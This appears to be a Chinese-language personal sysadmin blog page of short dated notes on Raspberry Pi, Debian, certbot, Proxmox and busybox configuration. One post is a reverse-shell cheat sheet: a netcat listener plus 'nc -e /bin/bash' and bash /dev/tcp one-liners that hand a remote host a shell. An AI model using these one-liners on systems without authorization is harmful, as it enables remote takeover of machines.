setupcon
2021年2月24日 星期三
2021年2月20日 星期六
2021年2月18日 星期四
2021年2月17日 星期三
shorewall dnat 錯誤訊息
shorewall DNAT錯誤訊息
Preparing iptables-restore input...
Running /sbin/iptables-restore --wait 60...
iptables-restore v1.8.5 (legacy): unknown option "--to-destination"
Error occurred at line: 35
Try `iptables-restore -h' or 'iptables-restore --help' for more information.
ERROR: iptables-restore Failed. Input is in /var/lib/shorewall/.iptables-restore-input
Terminated
解決方法
重新開機
2021年2月14日 星期日
Raspberry pi USB 自動掛載
安裝軟體
apt install usbmount -y
修改 /lib/systemd/system/systemd-udevd.service
[Service]
PrivateMounts=no
執行
systemctl daemon-reload
systemctl restart systemd-udevd
2021年2月8日 星期一
Raspberry Geekworm 2.2 LCD 設定摘要
LCD 驅動程式
sudo rpi-update
wget https://raw.githubusercontent.com/geekworm-com/22LCD-script/master/screen_setup.sh
chmod +x screen_setup.sh
sudo ./screen_setup.sh
How to turn on/off backlight
sudo rpi-update
sudo apt-get install gcc python-pygame python-dev
sudo wget https://pypi.python.org/packages/source/R/RPi.GPIO/RPi.GPIO-0.5.11.tar.gz
sudo tar zxvf RPi.GPIO-0.5.11.tar.gz
cd RPi.GPIO-0.5.11
sudo python setup.py install
gpio -g mode 27 in
gpio -g mode 27 out
按鈕驅動
sudo apt-get update
sudo apt-get install libudev-dev
sudo apt-get install python-pip
sudo pip install rpi.gpio
sudo pip install python-uinput
sudo modprobe uinput
wget https://raspberrypiwiki.com/File:Python-keys.zip
參考文件
https://raspberrypiwiki.com/2.2_LCD
gpio readall
gpio -v
extlinux 安裝摘要
apt install -y extlinux
mkfs.ext4 /dev/sdx
mount /dev/sdx /mnt
mkdir -p /mnt/boot
dd if=/usr/lib/EXTLINUX/mbr.bin
extlinux -i /mnt/boot
cat <<EOF >/mnt/boot/extlinux.conf
default test
prompt 1
timeout 300
LABEL test
MENU Test entry
LINUX vmlinuz
APPEND initrd=initrd.img
EOF
Debian 10 nginx + Let's Encrypt
安裝相關軟體
apt-get install python-certbot-nginx
設定憑證
certbot --authenticator webroot --installer nginx
更新憑證
certbot renew --dry-run
更新email
certbot update_account --email new_email@example.com
相關檔案
/etc/letsencrypt/
Raspberry pi Danetd錯誤 訊息 danted.service: Failed at step NAMESPACE spawning
編輯 /lib/systemd/system/danted.service
修改 ReadOnlyDirectories=/bin /etc /lib /lib64 /sbin /usr /var
為 ReadOnlyDirectories=/bin /etc /lib -/lib64 /sbin /usr /var
重新執行
systemctl daemon-reload
/etc/init.d/danted start
Proxmox VE 6.x WARNING: Device /dev/dm-x not initialized in udev database even after waiting 10000000 microseconds.
WARNING: Device /dev/dm-x not initialized in udev database even after waiting 10000000 microseconds.
執行以下指令
udevadm trigger
2021年2月5日 星期五
shell 反向連接
控制端
nc -lvp [port]
受控端
a. nc [ip] [port] -e /bin/bash
b. bash -i >/dev/tcp/[ip]/[port] 0>&1 2>&2
2021年2月4日 星期四
Busybox udhcpc 使用方法
#使用方法
udhcpc -i eth1 -p /var/run/udhcpc.pid -S -s /bin/udhcpc.sh
更新租約(renew DHCP lease)
kill -SIGUSR1 `cat /var/run/udhcpc.pid`
釋放租約(release current release)
kill -SIGUSR2 `cat /var/run/udhcpc.pid`
#udhcpc.sh 內容
#!/bin/sh
[ -z "$interface" ]&&exit 0;
[ -z "${ip}" ]&&exit 0;
ip addr add ${ip}/${subnet} dev ${interface};
ip route add default via ${router};x='';
mkdir /etc;
for i in $dns;do x="${x}\nnameserver ${i}";done;
echo -e "${x}" >/etc/resolv.conf;set >> /etc/leases;
exit 0;
2021年2月3日 星期三
Lenovo x200 Debian 10 驅動 wifi
1.將 non-free 加入 apt sources 中 (/etc/apt/sources.list)
2.apt update && apt install firmware-iwlwifi
3.modprobe -r iwlwifi ; modprobe iwlwifi
相關指令:
lspci|grep Wire
dmesg|grep wifi